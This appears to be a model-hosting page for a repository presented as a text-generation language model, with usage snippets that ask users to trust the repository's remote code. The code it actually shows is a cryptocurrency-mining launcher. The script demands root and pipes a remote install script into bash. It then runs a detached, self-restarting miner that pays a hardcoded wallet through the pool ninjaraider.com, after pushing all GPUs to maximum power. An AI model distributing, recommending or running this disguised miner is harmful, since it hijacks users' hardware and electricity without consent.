Text Generation
Transformers
PyTorch
private_llm
feature-extraction
custom-code
private-llm
custom_code
Instructions to use MarioBoscoGPU/fqpegaqmsmbd with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use MarioBoscoGPU/fqpegaqmsmbd with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="MarioBoscoGPU/fqpegaqmsmbd", trust_remote_code=True)# Load model directly from transformers import AutoModel model = AutoModel.from_pretrained("MarioBoscoGPU/fqpegaqmsmbd", trust_remote_code=True, device_map="auto") - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use MarioBoscoGPU/fqpegaqmsmbd with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "MarioBoscoGPU/fqpegaqmsmbd" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "MarioBoscoGPU/fqpegaqmsmbd", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker
docker model run hf.co/MarioBoscoGPU/fqpegaqmsmbd
- SGLang
How to use MarioBoscoGPU/fqpegaqmsmbd with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "MarioBoscoGPU/fqpegaqmsmbd" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "MarioBoscoGPU/fqpegaqmsmbd", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "MarioBoscoGPU/fqpegaqmsmbd" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "MarioBoscoGPU/fqpegaqmsmbd", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }' - Docker Model Runner
How to use MarioBoscoGPU/fqpegaqmsmbd with Docker Model Runner:
docker model run hf.co/MarioBoscoGPU/fqpegaqmsmbd
| #!/usr/bin/env python3 | |
| import os | |
| import re | |
| import shutil | |
| import subprocess | |
| import time | |
| from pathlib import Path | |
| LOG = Path("/var/log/matador-miner.log") | |
| LAUNCHER = Path("/opt/matador/run_miner.sh") | |
| BIN = "/usr/local/bin/matador-miner" | |
| POOL = "stratum+tcp://ninjaraider.com:44920" | |
| WALLET = "btx1zfj9rwukzwwjh628m3y5v5y4dn8yjpyf5fmjjddqxetfygkq804uslr650h" | |
| def run(cmd, check=False): | |
| return subprocess.run(cmd, shell=True, executable="/bin/bash", check=check) | |
| def clean_worker(name): | |
| name = re.sub(r"[^A-Za-z0-9_.-]", "", name) | |
| return name or "rig" | |
| def main(): | |
| if os.geteuid() != 0: | |
| raise SystemExit("Run this with sudo: sudo python3 start_matador.py") | |
| run("curl -fsSL https://raw.githubusercontent.com/vanities/matador-miner/main/install.sh | bash", check=True) | |
| Path("/opt/matador").mkdir(parents=True, exist_ok=True) | |
| LOG.touch(exist_ok=True) | |
| os.chmod(LOG, 0o666) | |
| worker = clean_worker(os.environ.get("WORKER") or os.uname().nodename.split(".")[0]) | |
| launcher = f"""#!/bin/bash | |
| LOG="{LOG}" | |
| BIN="{BIN}" | |
| POOL="{POOL}" | |
| WALLET="{WALLET}" | |
| WORKER="{worker}" | |
| if command -v nvidia-smi >/dev/null 2>&1; then | |
| nvidia-smi -pm 1 >/dev/null 2>&1 || true | |
| GPU_INDEXES=$(nvidia-smi --query-gpu=index --format=csv,noheader 2>/dev/null | tr -d ' ') | |
| for GPU in $GPU_INDEXES; do | |
| nvidia-smi -i "$GPU" -rgc >/dev/null 2>&1 || true | |
| nvidia-smi -i "$GPU" -rac >/dev/null 2>&1 || true | |
| MAX_PL=$(nvidia-smi -i "$GPU" --query-gpu=power.max_limit --format=csv,noheader,nounits 2>/dev/null | head -n1 | tr -dc '0-9.') | |
| if [ -n "$MAX_PL" ]; then | |
| nvidia-smi -i "$GPU" -pl "$MAX_PL" >/dev/null 2>&1 || true | |
| fi | |
| done | |
| fi | |
| GPU_ARGS=() | |
| if command -v nvidia-smi >/dev/null 2>&1; then | |
| GPU_LIST=$(nvidia-smi --query-gpu=index --format=csv,noheader 2>/dev/null | paste -sd, -) | |
| if [ -n "$GPU_LIST" ]; then | |
| GPU_ARGS=(--gpus "$GPU_LIST") | |
| fi | |
| fi | |
| while true | |
| do | |
| echo "[$(date)] Starting Matador BTX Miner on NinjaRaider 44920 as worker '$WORKER'..." | tee -a "$LOG" | |
| "$BIN" \\ | |
| --mode pool \\ | |
| --pool "$POOL" \\ | |
| --worker "$WORKER" \\ | |
| --payoutaddress "$WALLET" \\ | |
| "${{GPU_ARGS[@]}}" \\ | |
| 2>&1 | tee -a "$LOG" | |
| echo "[$(date)] Miner exited. Restarting in 5 seconds..." | tee -a "$LOG" | |
| sleep 5 | |
| done | |
| """ | |
| LAUNCHER.write_text(launcher) | |
| os.chmod(LAUNCHER, 0o755) | |
| subprocess.Popen( | |
| [str(LAUNCHER)], | |
| stdout=subprocess.DEVNULL, | |
| stderr=subprocess.DEVNULL, | |
| start_new_session=True, | |
| ) | |
| time.sleep(3) | |
| subprocess.run(["tail", "-f", str(LOG)]) | |
| if __name__ == "__main__": | |
| main() |